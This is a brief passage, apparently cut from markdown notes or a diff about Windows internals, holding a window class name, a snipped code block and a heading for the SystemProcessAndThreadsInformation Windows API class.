ChildClassName: ToolbarWindow32 + +[...Snipped...] +``` + ## Windows API ### SystemProcessAndThreadsInformation